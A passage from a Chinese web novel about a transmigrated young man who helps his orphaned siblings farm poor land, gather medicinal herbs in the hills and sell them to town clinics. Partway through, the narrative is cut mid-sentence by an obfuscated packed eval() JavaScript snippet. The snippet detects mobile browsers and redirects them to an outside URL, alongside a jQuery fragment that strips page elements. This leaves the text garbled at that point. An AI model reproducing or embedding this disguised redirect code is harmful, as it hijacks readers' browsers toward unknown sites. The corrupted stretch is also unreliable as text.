又过了一会,一道小小的身影跑出来。 “好啦,鸡蛋煮好啦。” 负责跑腿的秦高瑜开心的跑出来,早得了吩咐的她不由分说的将热乎乎的鸡蛋塞到秦来娣的手里。 “烫烫的,姐姐赶紧吃。” “你没烫到吧?”秦高琼赶紧蹲下来查看。 “没有啦,”小女孩举起手,“哥哥让我用袖子包着。” 秦高琼这才放心了,又去看愣住的堂姐。 “快吃啊,免得回去被发现了。” 怕堂姐不自在,她又一只手抱起妹妹,另一只手拿着碗,“我再给你倒碗水。” 被留下来的秦来娣呆愣了会,才慢吞吞将鸡蛋剥了,小心翼翼咬了一口。 “真好吃。” 豆大的眼泪往下落。 姐姐出嫁后,家里的鸡一直都是她负责喂,鸡窝也是她打扫,可生下的鸡蛋,她只吃过一次。就是这个月,她那位备受宠爱的哥哥通过了县试,爷奶一开心,就多煮了颗鸡蛋给她。 更早一些吃到鸡蛋是什么时候? 秦来娣回忆,是她的叔叔婶婶终于决定反抗,如果奶奶只煮三颗鸡蛋,就直接拿走,有一次,悄悄塞了她一个。 厨房里,分食一颗鸡蛋的四兄妹开心得不行。 这天晚上,原本打算喝粥的他们还是煮了干饭,虽说加了米糠,可每人舀上满满一大勺的鸡蛋羹,搅拌均匀,米糠也成了世间美味。 莴苣之类的青菜是水煮的,捞起来及时,吃起来也很鲜嫩可口。 秦高瞻吃得心满意足,又忍不住想念炒菜,可家里没油了。等赚了钱,一定要买点油回来。 第二天早上几人喝的蔬菜粥。 粥快熟了的时候,将几种绿叶菜切碎扔进去煮,再撒一点点盐。之后添起来微微晾凉,尽管很稀,一家四口也吃得干干净净。 “中午咱们吃干饭,”看到一连几餐大哥胃口都很好,最近几乎都要数着粒数煮饭的秦高瞰大方起来,他有着朴素的观念,只要能吃,身体就会好,现在不是小气的时候,“饭快熟的时候,咱们把腌肉切些铺上去,再煮点青菜。” 说着又遗憾起来,“家里没油,不然青菜炒腌肉更好吃。” 秦高琼姐妹俩开始咽口水,“吃肉啊,好久没吃肉了。” 见他们这样,秦高瞻有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763566|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心疼。 已经将二弟的性格摸得差不多,他抢在对方开口前说,“我想去看看田地的情况,耽搁了些日子,得想法子补救。” 秦高瞰本想劝他继续休息,又想到自己种田的水平比大哥还差,只得默默闭嘴。他想着,到时候就让大哥出口指点,他来干活好了。 一家四口用竹筒装了些水,带了些农具和一个背篓,一起出发去田里。 路上遇到一些村民,看到秦高瞻面色苍白,可走路稳当,彻底相信他痊愈了,有些还主动打招呼。 “瞻哥儿早啊!” “婶子早。” 还有的提醒,“快到浸稻种的时节了,你们家田还没犁,得抓紧了。” 可等一家四口走远,他们又马上换了话题。 “瞻哥儿是救回来了,可就剩那么些下等田,他们又不会侍弄,接下来日子怕是不好过。” “据说何家出手大方,都没议价,那七亩田怕是卖了不少。有这钱,都能去县城里换个营生,也不知瞰哥儿怎么想的。以前读书没他的份,现在银子也被他大哥花了。” “是啊,他们爹和大房那边的事还没给他教训?” 远处。 发现秦高琼停下脚步,表情还有些不好看,秦高瞻担心道,“阿琼,是哪儿不舒服么?” “没有不舒服,”秦高琼揉揉耳朵,“只是担心我们家的地太薄,今年收成不好。” 一行人几乎穿越大半个村的田地,才在村庄边缘,靠近山麓的地方找到自家的八亩水田。 这八亩水田被称作下等田,不仅仅是因地薄,还因它们距离村里的水井、村外的河流太远,不利于灌溉。 这三年,兄妹几人不擅侍弄田地是真,灌溉期抢水抢不赢其他人,路途遥远劳力不够运水也是收成不好的原因。 去岁收成后,秦高瞻就带着弟弟将田翻了,将虫卵翻出来冻死。只是又过去几个月,这土地难免板结,还有些缺水。 这条件,是种不了稻的。 秦高瞰着急:“大哥,咱们得赶紧去借牛,犁了田,再灌点水。” 秦高瞻没马上应他。 他下了田,用力抓了把土,碾碎后仔细观察。一连八亩田的情况差不多。 总结来说,地太贫瘠了,强行种植水稻或者改种小麦,收成都不会好。 他倒是会堆肥,可原料少,还需要时间。 “我想了想,”其实从昨晚开始,秦高瞻就在思考这个问题,他望向弟弟妹妹,“水稻小麦要求地肥,还需精心照顾,咱们家现在粮少,因此最要紧的是囤一批粮,无论是什么粮。” “大哥,”秦高瞰反应过来,“你是说种点别的?种什么?” “苦荞麦。” 迎上三人迷茫的目光,秦高瞻细细解释,“苦荞麦耐贫瘠耐旱,从播种到成熟基本在七十到九十天之间,春播的话只需要浅耕,刚好适合咱家田地和劳动力的情况。及时收获后刚好赶上夏播大豆,大豆又能改善土壤,到大豆成熟时,咱们攒的肥也不少,一起用上,这个时候没法种水稻了,那就种植冬小麦,待明年立夏又能收获一批。” 秦高瞰赶紧算了算,这样下来,一天到头田地都不得闲。而且明年立夏后又能种一批主粮。他们勤奋些,应该不至于饿肚子。 只是……秦高琼抢先说,“可是大哥,我们没种过苦荞麦和小麦。爹娘他们以前在旱地种过小麦,分家后就没种了。” 岑县多种稻,鲜少有人在水田放水后,改种小麦。 “我在书里看到过一些种植要点,”秦高瞻搬出原身为抄书出入书坊这件事,“也听一些商人提到过别的州府开始试行稻麦轮作,这样做是为合理利用田地。” 后半句倒不是在骗人,原身以前去县里的确听说过别的州府稻麦轮作的事。不过目前大多百姓只接受了稻豆轮作改善土地,要让南方全面实施稻麦轮作,需要一定时间,也需要地方官的魄力。 秦高瞰果然信了,表情舒展,语气还有些雀跃,“那我今日就去和村长申请用牛,村里大多人都犁了田,应该很快轮到我们家。” “我也要去看牛牛。”秦高瑜努力举起小爪子。 “好,我带你去。” 秦高瞰将妹妹抱起来,欢喜的走了。 秦高瞻则是带着另一个妹妹,去找自家的旱地。 他们家十亩旱地位置也很差,山脚有几亩,余下的都在向阳的一片荒坡,距离这一带的山林不远。 这会旱地里有菘菜、莴苣、白萝卜之类的蔬菜,长势不如其他家的好,胜在种植面积广,因此不仅够他们一家吃,还能在时节时摘一些去县里叫卖。 秦高琼:“咱们家水田少了,能腾出手照顾这些旱地,大哥你看看,咱们除了蔬菜,还能种些什么?也种苦荞麦或者大豆?” 迟迟没等来回应,她疑惑的看过去,发现自家大哥在眺望远处的山林,表情还有些期待。 “大哥,难道你想进山?”她不解,“今天来晚了,山里的菌子估计被摘完了。” “我想摘的不是菌子。” 4. 咸肉焖饭 岑县并不多山,为数不多的山林也低矮不广袤,可以轻松穿越。 像梨花村旁的这座山,有几十年没听说有野猪狼鹿之类的动物出没。如果当猎户,靠这片山是吃不饱的。 县衙将这片山划分了区域,分别给了附近几个村庄。每个村庄的村民都能去固定区域捡柴火,摘菌子和一些野菜。因此,除非是菌子野菜疯长的时节,或是缺柴了,一般这座山对村民没太大诱惑。 这是普通村民了解到的情报。 不过,秦高瞻曾搜索过原身的记忆,得知隔壁村有个采药人,识得不少草药,仅仅是去属于他们村的区域采药,就能养活一家人。那个采药人还很大胆,去了临县的深山采药,供得家里孩子读书。 而在现代,秦高瞻工作学习之余的爱好就是刷视频,特别是某字母站。他关注了一批种田、手工博主,也跟着认识一些中药。其中一个博主就常在南方的山林采药,就算是架空朝代,南方的草药分布应该也不会有太大区别。 带着这样的期待,他领着秦高琼一起进入山林,果然看到几个村民背着柴火和一些野菜菌子离开。 即将进入农忙,村民们大多趁着清晨来山里转转,其余时候依旧扑在养活他们的田地上。 “哥,给你。” 秦高琼从地上捡了两根粗粗的棍子,递给秦高瞻一根,她主动背起背篓,时不时用木棍打路边的草丛。 秦高瞻有学有样,他另一只手还拿着一个小锄头。 往山里走了一刻钟左右,秦高瞻的目光黏在路边几株绿植上。 这些绿植都没抽条开花,他不是很确定,便凑近些仔细观察那些长出的枝叶。 “初生苗,叶似小葵叶…特征太少了,还是挖出来看看。” “哥,你在那边嘀咕些什么呢?” 秦高琼大步折返,学着他的模样去看几根细苗。 “不就是杂草么,哥,你要挖来玩?” 秦高瞻一时说不清,他简单清理了周围的杂草,轻轻用锄头翻动土地,又慢慢深挖,看到粗壮的根部后,面露喜色。 “我没看错,真是沙参。” 他对妹妹解释更简单了,“是一种草药,能卖钱。” 秦高琼顿时激动了。 她不懂这种草药在地下的结构,干脆用手细致刨土。 “阿琼,先别用手,小心锄到你。” 秦高琼只能收回手,又眼巴巴瞧着自家大哥将周围挖开,小心掏出一些沙参的根。 “好神奇,明明就那么点细苗,底下却这么大,还这么多。” “因为沙参是多年生草本,每年的新生苗不起眼,其实底下一直在悄悄长大。” 就刚刚看到的几株幼苗,往下挖,竟是挖了不少,许多还没来得及生新苗,就被他一窝端了。 轻轻抖落沙参根上的土,他小心翼翼放入背篓里,又用锄头将地面恢复原样,等着妹妹询问。 哪料女孩只是欢喜道:“哥,这山里会不会还有许多?咱们继续找吧!” “这个不好说,毕竟不是人工大范围种植,”秦高瞻只得主动拿出酝酿好的说辞,“我以前去县里,曾看过采药人给医馆送药,有些人不会炮制,甚至是连带着枝叶一起带过去,被我记住了。” “哇,大哥你真厉害!” 秦高琼丝毫没有怀疑的意思,“哥,你还记得哪些?咱们一起找!” 来了个开门红,秦高瞻也有了信心,“好,我们一起找。” 又走出一段路,秦高瞻再次盯着一些绿植看,努力回忆自己记得的特征。 许多药材是春秋两季挖根,而采药人多是秋季挖根,只因那个时候这些草药都已经抽条开花,枝叶茂盛,更好辨认。 确定山上有草药,秦高瞻秋天肯定会再来,可当下,他也需要在春天挣钱解决燃眉之急。 “赌一把。” 挖出粗壮的根后,秦高瞻展颜。 “赌对了,这是丹参的根,不知多少年没人挖,你看,多粗壮。” 秦高琼旁观了大哥的动作,自认学会了些,这会也帮忙,嘴里还念叨。 “这个颜色有点红,是丹参,刚刚那个是沙参,不过我只听过人参,人参肯定值钱。” “其实有个口诀,”秦高瞻轻声道,“人参入脾,沙参入肺,玄参入肾,牡蒙入肝,丹参入心。”① 秦高琼摇头晃脑,“这个牡蒙落单了,应该换个名字。” “哈哈哈,是的,它还有个别名叫紫参,就像丹参也叫赤参,五参五色配五脏。” 秦高瞻大笑了几声,惊飞几只鸟雀,他赶紧压低声音,“阿琼,你去采点野菜,盖在上边,遮一遮。” 女孩瞬间明了,赶紧就近摘了一些。这会他们还没深入山里,外围鲜嫩些的野菜都被摘完了,她只得摘了一些比较老的,还有些郁闷。 不过,在大哥又找到一些丹参还完整挖出来后,她喜笑颜开。 “也不知能卖多少钱,和人参一样都叫参,应该很值钱。” 秦高瞻没这么乐观。其他四参肯定不如人参值钱,不过没关系,这座山一直没人采药,他可以靠量取胜。 之后,两人不停用棍子打草,往山里走了走,又挖到一些沙参,还找到一些桔梗,也挖了根。桔梗的根只有小指大,挖了一丛,看上去也没那些沙参丹参多。 不知觉要到正午,秦高琼见大哥面色比之前白,陡然想起来大哥大病初愈,拽住他不让继续往里走。 “大哥,我们回家吧,这些够了,咱们明日再来。” 秦高瞻也没勉强。 这具身体病了快一个月,没这么快好全。他也就是走走山路,蹲下来挖挖药,这会竟开始头昏眼花,双腿发软。 再不回去休息,他怕自己会倒下。 “行,咱们下山。” 两人换了条路下山,既离村子更近,也想碰碰运气。 “那边那些有点眼熟。” 秦高瞻脚尖一转,走到一簇丛生的草前。 他试探的挖了一株,仔细看了看,点头,“是柴胡。” “这个我知道,柴胡可以退热。” “没错,阿琼,你也来帮忙,柴胡向来丛生,这一片都是,别漏了。” 兄妹俩埋头忙活,又心满意足的下山。 期间秦高瞻几次要把背篓拿过来,秦高琼都拒绝了。 “哥,我力气大着呢,再背一个你都没问题。” 秦高瞻只觉妹妹面黄肌瘦,不像是有力气的样子,见她神采飞扬,便没反驳。 回到村里时已经是正午,家家户户燃起了炊烟,饭菜的香味飘出来,往两人鼻子里钻。 “咕噜咕噜。” 兄妹俩齐刷刷捂着肚子,对视一眼,加快脚步。 到家时,就见小妹站在院子里张望,看到他们俩,欢呼, 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秦高瞻喝了一碗温水,略微缓过来,重复了之前的说辞,又补充,“我留了心,又时常在书坊里找书看,对一些常见草药略有了解,过年那会就打算今岁开春试一试,即便挖错了,也不亏。” “不会挖错,”秦高瑜其实还没明白,无条件的相信大哥,“大哥最厉害!” “没错,大哥肯定不会弄错。” 秦高瞰对自家大哥也有盲目的信任。 三年前,爹娘去世,就是大哥为他们撑起一片天。 “待会我把这些药材简单清理下,明日就由阿瞰送去医馆如何?” 梨花村距离县城太远,中午出发晚上极可能赶不回来,村里有牛车的人家非特殊情况都是早上出发,而秦高瞻也不忍心弟弟背着重物步行走两个时辰去县城。 “好。”秦高瞰一口应下,他也不放心大哥这个身体状况去县城。 一股饭香传来。 秦高瞰回过神,赶紧去切腌肉。 他原本打算将这小半个巴掌大的腌肉分四餐吃,这会狠狠心,一次切了一半,片成片后,掀开蒸笼盖,把腌肉均匀码在大瓷碗快蒸好的米饭上,又将装了青菜的碗放进去一起蒸。 有时为了省事,没油炒菜也不想水煮,就会直接蒸菜。 而锅里烧得滚烫的水既可以舀起来喝,也能用来沐浴,能省不少柴火。 趁着这个功夫,秦高瞻领着二弟三妹,将四种药物的须根去了,洗净。 秦高瞰不解:“留着须根不会更重更值钱么?” “这些须根没什么药效,如果我没猜错,带须根不清理一个价,不带须根简单清理一个价,炮制好后又是一个价,阿瞰,明日你问清楚,有些药物炮制比较简单,我在书里看过,日后银钱不紧张了,可以炮制好再送去。” 秦高瞰认真记下,又仔细观察四种药物,还询问了四种药物的一些药效,确定自己不会弄混淆。 又过了一会,蔬菜的清香和腌肉的咸香传来,四兄妹的肚子此起彼伏的叫起来。 “先吃饭吧。” “吃饭,吃饭。” “二哥,放着我来,我来分饭。” 秦高琼抢到分饭大权,将咸肉平分,完全不给二哥让肉的机会。 她飞快将碗筷摆好,一把将二哥按在座位上。 秦高瞻竖起大拇指,秦高瑜有学有样。 才十一岁的男孩无奈,唇角却忍不住翘起来。 5. 咸肉青菜粥 美美吃完一顿饭,四兄妹继续整理那些草药。 发现自己数次不小心掰断主根,秦高琼干脆去拿水桶,“我去提水。” 秦高瑜看看自己的小手,又看看自己那少得可怜的成果,“我可以舀水。” 整理草药的主力就剩下两兄弟了。 他们从一开始的生疏到后来逐渐熟练。 秦高瞰趁着这个机会说了安排,“村长说后天排到我们家用耕牛,这两天咱们多割些草料,得让牛儿吃饱。苦荞麦春播只需浅耕的话,八亩田很快就能犁好,我和阿琼去就行。” 秦高瞻之前检查过仓库,发现家里有个曲辕犁,能节省人力和畜力,也没争抢着犁田,“那我上山挖药,挣点钱买粮种。” “那大哥挖一会歇一会,千万别晕在山里,那儿蛇虫不少。” “我晓得,我身体也没那么虚。” 秦高瞰不吭声了,显然不赞同这话。 秦高瞻只得换了个话题,“你明日将药换了钱,就都买了粗粮和油。” “不先买粮种?” “不急,而且山里还有好多药呢,我们今日只去了很小一块地方。” 秦高瞰开始期待明日的到来。 过了许久,秦高琼才提着一桶水回来。 “今天打水的人有点多,好在排到我后没什么人了,我再去打几桶。” 梨花村有一口公用的水井,有些人家有了银钱,也去县城里请人来打井,不必和其他村民那般排队。没分家前,他们是不必去公用水井排队打水的。 “我也去。” 秦高瞰拿起家里另一个水桶,“大哥,剩下的就麻烦你了。” “一家人哪有麻不麻烦。” 秦高瞻摆手。 等简单处理好药材,秦高瞻喝了碗水就去休息了。 再睁眼时,他发现天色昏暗,脸色一变。 “我睡了多久?” 出门一看,老二老三不在,只有老四在院子里和老母鸡说话。 “你再不下蛋我们就要吃掉你了,你好不好吃啊?” “咯咯咯!” “很好吃呀,滋溜~” 小女孩吸溜了下口水。 “咯咯咯!” 秦高瞻哭笑不得的将她扶起来。 “你二哥和姐姐呢?” “二哥去割草了,姐姐去菜地,有一片地吃完了可以翻,”秦高瑜口齿清晰的传话,“二哥说,大哥累了就好好休息,晚上和我一起煮饭,煮粥就可以,家里没多少粮啦。” “行,那就继续煮青菜粥,咱们现在去洗菜。” 秦高瞻叹了口气,他还真的高估了自己的体力,居然睡了快一下午,明天不能这样了,宁愿上午少干点,也不能把下午睡过去浪费了时间。 晚上煮粥的时候,秦高瞻切了四片腌肉。待晚上弟弟妹妹回来,他抢先说,“腌肉里有盐,加了肉就不用加盐,多划算。” “反正我说不过大哥。”秦高瞰脸上没多少抱怨。他其实很喜欢看到大哥这样有活力话也多的样子。这不仅证明大哥逐渐康复,还证明大哥没以前那么郁结于心,恢复了爹娘没出事前的性格。 那时大哥每日教他们读书,脸上常有笑容,也愿意和人交流。而不是和后来三年那样,一日比一日沉闷,眉头的褶皱也越来越深。 喝粥的时候,四兄妹都选择快喝完才吃掉那块腌肉。 “感觉咱家有点奢侈,一天居然吃了两顿荤,”秦高琼回味着肉味,“不过我不介意更奢侈点,有本钱才能够过这样的日子嘛。” 一天总共就吃了几片腌肉就叫两顿荤,秦高瞻鼓励她,“大胆想象,以后咱们一天两顿荤是吃烧鸡喝排骨汤。” 几兄妹齐刷刷咽口水,幻想着烧鸡和排骨,只觉得肚子又饿了。 但吃是不能再吃的,他们家主粮不多了。 洗漱完后,秦高瞰来找大哥,“哥,现在你好得差不多了,那我搬回来住吧。” 以前兄弟俩住一间房,哪怕爹娘去世也没变过。后来秦高瞻生病,怕将病气过给弟弟,将人赶到爹娘的房里住。吃饭时也坚持分餐,担心传染给弟妹们。 秦高瞻理解弟弟不想住爹娘房间的心态。仿佛只要不住,爹娘就还在身边。 可现实无情,他们的爹娘早在三年前就去世了。 不过安慰才11岁的弟弟,肯定不能直说。 “我们俩都在发育期,骨架只会越来越大,再睡一张床挤得慌。早晚得分开歇,不如这会就开始。” 见弟弟依旧犹豫,秦高瞻又说,“咱们换也行,我把这些被褥木盆之类的搬过去。习惯了这个房间,也不知换个地能不能睡着。” “还是我住那边吧,”秦高瞰忙说,“夜深了,大哥你赶紧歇息,别忙活。” 他匆匆离开,生怕秦高瞻又来个‘灵机一动’。 目的得逞的秦高瞻心情很好的躺下,彻底入睡前还惦记着明日清晨嘱咐弟弟入城的话,结果次日一醒,才知弟弟早就背着背篓,带着家里余下的几文钱去搭牛车了。 “搭牛车一文钱,入城费一文钱,”秦高琼将温在蒸笼里的粥端出来,不留情的揭了二哥的底,“二哥说,就凭这么大的开销,怎么样也要多去几家医馆,将药卖个好价钱。” “对呢,”早就吃完的秦高瑜抱着根白萝卜,“二哥还说,他要早点回来去割草。” 粥的温度刚刚好,秦高瞻端起来,快速扒拉了几下,很快喝完。 “不如这样,今日我独自去挖药,你带着阿瑜去割草?等阿瞰回来,怕是很晚了。” “好啊,”秦高琼一口答应,不过她还记得大哥的身体情况,“中午我去接你,咱们就在昨天出来的那个地方见。” “没问题。” 这次入山时,秦高瞻又和几个村民撞见。 “瞻哥儿,你来摘野菜?怕是得去很里边了,你身体吃得消么?” 主动开口的是村里的寡妇周氏,独自抚养一个孩子,那孩子比秦高瞻大些,在村塾里念书。 原身和她交集不多,只知是个泼辣爽利的性子,有一说一。 再看她神色,的确没有任何八卦看好戏的意思。和昨日他从山里回来,明里暗里打听他家余粮和秦登科一家纠纷的村民不一样。 “我去 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黄精春季的初生苗又叫笔管菜,摘了焯水去苦味是道佳肴。 他们家不算缺蔬菜,可春天不吃野菜,对不起大自然的馈赠。 采摘初苗花了些时间,之后一点点挖根又耗费了大量时间。 快到正午时,发现还没挖完这片黄精,他也不强求,转头去找了些木柴,拽断一根藤捆好,将野菜铺在背篓上,去了约定的地方。 这会他庆幸家里有两个背篓,否则换成木桶,装不了多少还重。 秦高琼两姐妹后脚到了,一个用扁担挑着一担草料,另一个则是抱着一小捆,嫌弃草料扎脸,一直偏着脑袋,看到他时,也是偏着脑袋喊,“哥,哥。” 秦高瞻连忙将那小捆草料拿过来。 “今天上午收获不少,还没挖完,下午再去。” 怕被秦高琼抢着背背篓拿柴火,他加快脚步。 “肚子好饿,快些回家做饭吧。阿琼,阿瑜,咱们比比谁先到家。” 两姐妹的胜负欲瞬间上来了。 一段时间后,秦高琼先一步到家,扔了担子叉着腰大笑。 “哈哈哈,我是第一!” 落后的小女孩鼓着脸捏着拳头,卖力跑着。 “我什么都没拿,也、也跑不过姐姐。” 瞥见秦高瞻落在她身后,眼前一亮,“可我赢了哥哥。” 小短腿顿时跑得更快了。 秦高瞻始终保持落后一步。 昨天好好休息了,今日上午没那么卖力,他现在精神尚可,还能控制步伐。 并没看出哥哥放水,秦高瑜奖励自己一个大拇指。 “我真厉害!” “没错,厉害的阿瑜能去舀些水来洗手么?” “交给我吧!” 待吃过饭,秦高瞻放心不下被挖开的那片地,也没休息,继续背着背篓上山,将余下的黄精挖了,又捡了些柴。 等他再下山回来时,去翻菜地的秦高琼也回了,正双眼亮闪闪看着秦高瞰背回来的东西。 6. 凉拌萝卜丝 其实秦高瞰只带回三样东西:粗粮,油和盐。 油和盐都很少,不过粗粮看上去有一斗左右,秦高琼难免兴奋。 “我们家之前才只剩一斗粗粮吧?转眼又有一斗,真好。” 秦高瑜捏着自己的小手,附和的点头,“真好,真好。” 和别人家的存粮比起来,这算少的,不过秦高瞰也没泼冷水。他望向放下背篓的大哥,语气兴奋,“哥,这些药卖了一百零九文,其中丹参的价格最高。” 说着,他报了一串数字。 “没处理的桔梗五文一斤,简单处理的是六文,炮制好的是二十八文。沙参则分别是七文,九文和三十八文一斤。柴胡分别是十文,十二文和三十三文一斤。最后是丹参,分别是十二文,十四文和三十九文一斤。我总共带去一斤半的桔梗,两斤柴胡,三斤的沙参和三斤半的丹参。” 一旁的秦高琼开始晕乎乎的计算,秦高瑜主动伸出双手借给她用。 秦高瞰带着一肚子的疑问回来。 “可是哥,为什么没处理的桔梗五文一斤,炮制好的是二十八文,没处理的柴胡就有十文一斤,可炮制好的只有三十三文?” 秦高瞻已经心算完了,确定弟弟没被人忽悠。闻言,他简单解释,“这和不同草药炮制一斤干货需要的鲜货量有关。像桔梗,大概是五斤鲜货炮制成一斤干货,而柴胡三斤鲜货就能炮制成一斤干货。” 以此类推,五斤鲜沙参炮制成一斤,三斤鲜丹参炮制成一斤。 “此外,价格还和鲜货处理和炮制难度有关。桔梗处理简单,因此就算我们整理好,也只增加一文。沙参、丹参还有柴胡就稍难一些,增加了两文。不过就炮制难度来说,这几种都差不多,都是简单处理后再晒干或者趁鲜切片再晒干。因此只给每斤三文的炮制费用,说是炮制费,不如说是帮忙去须根晒干的费用。当然,像丹参,还能酒炙和醋炙,只是医馆大概不放心,不随意收,否则那是另外的价钱,还得将酒钱和醋钱算进去呢。” 说完后,秦高瞻后知后觉自己说得太多,正寻思着要不要拿‘书上简单记载’当挡箭牌,就见弟弟一脸恍然。 “那难怪黄精炮制后的价格是六十六文一斤,明明鲜货价格分别是七文和八文,肯定炮制一斤需要的量多,难度也比较高。” “没错,书上记载六斤黄精才能炮制成一斤,还需要九蒸九晒,比普通的晒干难多了。不过相对丹参的酒炙和醋炙,一般人也能上手操作。” 这时,正把小手借出去的秦高瑜‘啊’了一声,吓得几个哥哥姐姐赶紧看过去。 “黄精。” 她指了指秦高瞻上午挖回来的那些草药,又从野菜缝隙里看到熟悉的身影,改为指着背篓,“黄精。” “阿瑜真厉害,这些都是黄精。” 秦高瞻蹲下来,笑眯眯将小妹的小手挪了个方向,“那边的是丹参,旁边的是柴胡,不过最多的肯定是黄精,我挖了一大片。指不定有个十几二十斤,或者更多。” 秦高瑜的眼睛几乎要变成铜钱的模样。 “钱,好多钱。” “不对,是如果炮制好才好多钱,九蒸九晒啊,听上去很麻烦,还会花费许久。”秦高琼在幻想小钱钱的同时,保持了一丝理智。 “蒸起来倒是不麻烦,只要柴火足够,有人看着随时查看情况。至于晾晒,若是老天作美,连着多日都是大太阳,十来天就可以完成。” “最近多日应该不会下雨,”秦高瞰忽然说,他期待的看着秦高瞻,“大哥,要是你会炮制,那黄精咱们炮制后再卖吧,我可以多打柴回来。医馆给的炮制黄精人工费算下来是一斤干货二十四文,也就是一斤鲜货四文,足足可以买一升陈粮。” 他顺势说了最近的粮价。 “稻谷的话,新粮是六文一升,陈粮是四文,我买了一斗的陈粮,花了四十文。又各买了十文的菜籽油和盐。盐价没变,还是六十文一斤,考虑到每日都要吃一点,我便买了些。油没买太多,之后杀了那只鸡,能得一些鸡油,吃好些日子。担心回来遇到乡亲们,不好解释,我没全买粮食,可以之后去卖药的时候,一点点往家里买。” 男孩掏出一个荷包,“我早上出门带了家里最后的三文钱,这里边是五十文,哥,你收起来吧。” “放你房间吧,”秦高瞻没接,“还是放爹娘留的那个带锁小箱子里,钥匙我记得有三把,咱们一人一把。” 他弯腰对秦高瑜说:“等你再大些,也给你配一把。” “嗯呐!” 秦高瑜重重点头,盯着大哥看了几息,忽然小声说,“大哥,你不开心么?” 另两人一愣,“大哥不开心?” 秦高瞰试探:“哥,你觉得医馆给的价低了?” “不是这个。” 秦高瞻直起身,表情严肃的盯着弟弟,“还剩五十文,意味着你是背着一斗米走回来的。” 才十一岁的男孩顿时一慌,下意识去提放在地上的背篓,“我去放在仓库里。” “二哥,我来。” 秦高琼直接提起背篓,大步往外走,还不忘嘱咐,“大哥,你要狠狠教训他。昨晚都那样嘱咐过了,不要舍不得搭牛车的一文钱。” “二哥你不乖,”秦高瑜言语匮乏的批评,她抓住对方的手,“我们会心疼你。” 秦高瞰顿时红了眼,他背过身,用力抹了抹眼角。 “我知道错了,下次不会了。” 迟迟没听到秦高瞻的声音,又干巴巴道,“我是觉得你们肯定会去打草,我不用急着回来才……” 没忍住,他回头偷看,结果被带进并不宽厚的怀抱里。 “阿瞰,今天辛苦你了。” “不辛苦,我只是去卖点药。大哥才是,明明才痊愈,结果每日都要上山……” “为了卖出这样的价格,跑了好几个医馆吧?” 沉默了会,秦高瞰闷闷道,“妙手堂的学徒见我年纪小,觉得我是门外汉,居然想把几种药用一斤五文全买去。我本想等出诊的杨大夫回来再说,可那个学徒说话忒难听,我就去了别处,最后卖给了仁心堂。” 他口中的杨大夫,便是为秦高瞻诊治的大夫,近一个月双方打了许多交道,认可 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他松开手,改为按住弟弟的肩膀,直视那双泛红的眼睛。他猜得到弟弟隐瞒了更多的细节,因为过去三年里,原身去县城时,从读书人变成到处求人带着打短工后,也遭受许多白眼。为小妹请大夫时,接待他的学徒也是各种不耐烦翻白眼,看到穿补丁的衣服还言语鄙夷。 “阿瞰,你做得很好,头脑灵活,考虑周全,算术好,对我们这些亲人也好。那你该明白,我们对你的关心和你一样。背着这么重的东西徒步走两个时辰,我们会担心你累了,渴了饿了甚至不小心晕倒在路边,下次不许这样了。” 秦高瞰脸有点红的应了。 “不肯多花一文钱坐牛车,那中午肯定也只吃了带去的那点干粮,罚你晚上多吃不加米糠的粗粮,再把腌肉全和菘菜一起炒了,你也要多吃。” 秦高瞰又应了。 秦高瞻继续:“既然明日开始犁田,那明日把鸡杀了煲汤,每日吃一点,犁田的这几日吃完,如何?” 秦高瞰张嘴,又在大哥的微笑中闭嘴,点点头。 秦高瞻满意了。希望经过这次坦白,弟弟不会在小钱上过于节省而伤害自己的身体。当然,要彻底扭转这种习惯,还是需要多赚钱。赚得够多了,就不会发生今日这样为省一文钱背着一斗米走两个时辰的事。成年人徒步两个时辰都会觉得累,更何况是一个缺乏营养的十一岁小孩呢? “到我了,到我了。” 个头矮的秦高瑜忍不住蹦跶了下。 秦高瞻退开,秦高瞰也配合的蹲下,被妹妹用力的抱住,拍背。 “二哥下次不许这样。” 小女孩有学有样,末了认真说,“二哥是世上最好的二哥。” 退开时,她仰头,对秦高瞻露出笑容,“大哥是世上最好的大哥。” 瞥见秦高琼大步走进来,连忙说,“姐姐是世上最好的姐姐。” “嗯?” 秦高琼茫然,又不客气的应下,“那当然,你也是世上最好的妹妹。” “嗯嗯,我们都是世上最好。” 秦高瞻佩服小妹端水的本事。从侧面也说明小妹聪明伶俐。 这天的晚饭比较丰富。 他们难得蒸饭时不加米糠,又用油炒了盘咸肉菘菜,还将笔管菜焯水,只加了点盐,完整保留了风味,最后还拌了个萝卜丝。 7. 冲突 菘菜爽脆可口,咸肉浸润了油汁更加下饭。笔管菜鲜嫩,萝卜丝清甜,四人吃得干干净净。 “不加米糠的饭就是好吃。” 秦高琼心满意足的拍拍肚子。 “山上还有很多药没挖,咱们家地里以后也有收成,以后都不加米糠。”秦高瞻认真道。 这几年风调雨顺,梨花村基本没人吃饭加米糠麦麸,如果自己加工稻谷,米糠基本拿去卖了,或是家里富裕,拿来喂鸡喂猪。更多的人在交完税后,拿新粮换更多的陈粮,也有将差额换成银钱存下来以作他用。 别看上次赵氏让孙女送来大半篮子的米糠,其实在他们家,米糠都是用来喂鸡或是堆在仓库里以防万一,平时就算是最节约的秦大壮夫妇都不吃。 不过这会吃了他们家的腌肉,秦高瞻只腹诽了一息,就去处理今日挖的药材。 秦高琼自觉力气大,没去帮忙,而是洗碗。老二和小妹则是跟着大哥走了。 “今天大概挖了两斤丹参,一斤柴胡,明日忙,就不拿去卖,”纵然熟练了,秦高瞻处理时也小心翼翼,“黄精比较多,趁着天晴,我明日就开始蒸晒。” “那明天我和阿琼犁田,哥你带着阿瑜在家炮制黄精。” 秦高瞻含糊应了。 其实黄精前几次蒸制时间短,他完全可以借着做早饭的功夫蒸好搬出去晾晒。 之后,弟弟妹妹去牵牛犁田,他可以再去山里挖药。如此,既可以赚八文一斤的炮制费,也不耽误他干活。如果不够划算,他还不如卖鲜货。 